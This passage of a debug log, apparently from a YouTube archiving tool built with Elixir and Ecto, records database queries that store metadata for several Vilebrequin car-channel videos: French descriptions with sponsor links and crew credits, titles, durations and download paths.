POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "181df52b-40bc-4d9d-862b-4c034281a77a", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", 9, "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, false, false, 1, [], 98, ~U[2023-10-12 16:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#EXPERIENCE #Phaetonw12 #DELIRE", "Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?", "QrY57Hf8Ss8", 2170, false, "https://www.youtube.com/watch?v=QrY57Hf8Ss8", "/downloads/Vilebrequin/2023-10-12 Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ?/Rouler AVEC 1 CYLINDRE : ÇA FAIT QUOI ? [QrY57Hf8Ss8].mkv", false, 1, ~U[2023-10-12 16:15:02Z]] 07:42:11.779 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=14.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.784 [debug] QUERY OK source="media_items" db=3.6ms queue=0.1ms idle=13.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-05 16:15:05Z], 1] 07:42:11.788 [debug] QUERY OK source="media_items" db=3.4ms idle=15.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "86197d28-0cf1-48ec-bec6-36cdd19f195a", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", 10, "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, false, false, 1, [], 98, ~U[2023-10-05 16:15:05Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Téléchargez REVOLUT gratuitement avec notre lien : https://revolut.onelink.me/z4lF/vilebrequin3\nVous pourrez débloquer les 20 € et participer au tirage au sort pour gagner 1 000€ (voir conditions générales)\nCommunication commerciale.\n\nMerci à Maghla et Amixem pour leur présence ( et leur abnégation )\n\nChaine de Maghla : https://www.youtube.com/@Maghla\nChaîne de Amixem : https://www.youtube.com/@Amixem\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #ASSURANCE", "IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)", "sANRmxhTRJY", 2563, false, "https://www.youtube.com/watch?v=sANRmxhTRJY", "/downloads/Vilebrequin/2023-10-05 IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem)/IL N’EN RESTERA QU’UN #2 (ft. Maghla & Amixem) [sANRmxhTRJY].mkv", false, 1, ~U[2023-10-05 16:15:05Z]] 07:42:11.790 [debug] QUERY OK source="sources" db=1.3ms idle=16.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.794 [debug] QUERY OK source="media_items" db=3.5ms queue=0.3ms idle=13.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-28 16:44:41Z], 1] 07:42:11.799 [debug] QUERY OK source="media_items" db=3.5ms idle=15.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "83ed8a90-95e0-4c5c-8263-05bae0dfb094", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", 11, "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, false, false, 1, [], 98, ~U[2023-09-28 16:44:41Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\nUn grand merci à tous les invités qui ont accepté de participer au format : Squeezie, EtienneMoustache, Kaatsup, DepieloF1, Amixem, BagheraJones, HortyUnderscore, MisterV, SosoManess, Grim , LeBouseuh, Cocottee, CodJordan23, Maghla, Théodort, Théo Juice, Xavier Pincemin, Billy, AnaOnAir, Etoiles et Gotaga\nManon Lanza, SCH et Maxime Biaggi ont préféré décliner notre invitation à participer au format. \n\nÉquipes techniques :\nProduction : Cassandra Borie ; Anaelle Le Magorou \nJournalistes : Lauriane Dherbecourt, Pierre Pissavy, Julia Durrande, Alexandre Cayuela\nChef Opérateur : Lucas Martin\nCadre : Vincent Cordier\nSon : Alan Poirier\nRégie : Alexandra Collaro\nDrone : Adrien Loison\n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : \nChef Monteur : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\nAssistant Monteur : Thibault Iacolare\nBaptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\nP.S.: Cette vidéo n'est pas sponsorisée par McDonalds. Mais on remercie quand même le restaurant du Mans pour leur aide ( on a vraiment mis une F4 dans un McDrive )\n\n#gpexplorer #F4 #lescoupesalamaison", "McDrive to Survive 2 : GP Explorer 2023", "Uav2fXWM2k8", 3094, false, "https://www.youtube.com/watch?v=Uav2fXWM2k8", "/downloads/Vilebrequin/2023-09-28 McDrive to Survive 2 : GP Explorer 2023/McDrive to Survive 2 : GP Explorer 2023 [Uav2fXWM2k8].mkv", false, 1, ~U[2023-09-28 16:44:41Z]] 07:42:11.801 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=15.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.805 [debug] QUERY OK source="media_items" db=3.5ms queue=0.3ms idle=13.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-21 16:15:00Z], 1] 07:42:11.809 [debug] QUERY OK source="media_items" db=2.7ms idle=15.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "992924e5-1ac6-4944-a13e-3bcee87f9d25", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", 12, "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, false, false, 1, [], 98, ~U[2023-09-21 16:15:00Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nUn très gros merci à BMW France, et plus particulièrement Pierre, qui nous a mis à disposition cette belle 2002 turbo,\nInstagram : https://www.instagram.com/bmwfrance/?hl=fr\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit,\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN pour leur travail sur ce tournage.\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Pierre Bouillot \nInsta : https://www.instagram.com/p.b_prod/?hl=fr\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #2002 #TURBO", "Essai BMW 2002 Turbo : TURBOOOO", "ACa7UVXrtvw", 1806, false, "https://www.youtube.com/watch?v=ACa7UVXrtvw", "/downloads/Vilebrequin/2023-09-21 Essai BMW 2002 Turbo : TURBOOOO/Essai BMW 2002 Turbo : TURBOOOO [ACa7UVXrtvw].mkv", false, 1, ~U[2023-09-21 16:15:00Z]] 07:42:11.812 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=15.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.817 [debug] QUERY OK source="media_items" db=4.9ms queue=0.3ms idle=13.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-14 16:15:00Z], 1] 07:42:11.822 [debug] QUERY OK source="media_items" db=3.3ms idle=17.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "e59db20f-a0d3-4f76-9288-ecca346dbd12", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", 13, "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, false, false, 1, [], 98, ~U[2023-09-14 16:15:00Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci aux zouzous de Benzin pour le fond vert\nLe site : https://benzin.fr\nInstagram : https://www.instagram.com/benzinworld/\nFacebook : https://www.facebook.com/benzinworld/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#bmw #motorsport #driftsurleparkingducora", "Vultech : BMW ( enfin )", "FaMFJhFTj3A", 3677, false, "https://www.youtube.com/watch?v=FaMFJhFTj3A", "/downloads/Vilebrequin/2023-09-14 Vultech : BMW ( enfin )/Vultech : BMW ( enfin ) [FaMFJhFTj3A].mkv", false, 1, ~U[2023-09-14 16:15:00Z]] 07:42:11.824 [debug] QUERY OK source="sources" db=1.2ms idle=17.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.829 [debug] QUERY OK source="media_items" db=4.9ms queue=0.3ms idle=15.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-09-07 16:15:03Z], 1] 07:42:11.835 [debug] QUERY OK source="media_items" db=3.9ms queue=0.1ms idle=18.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 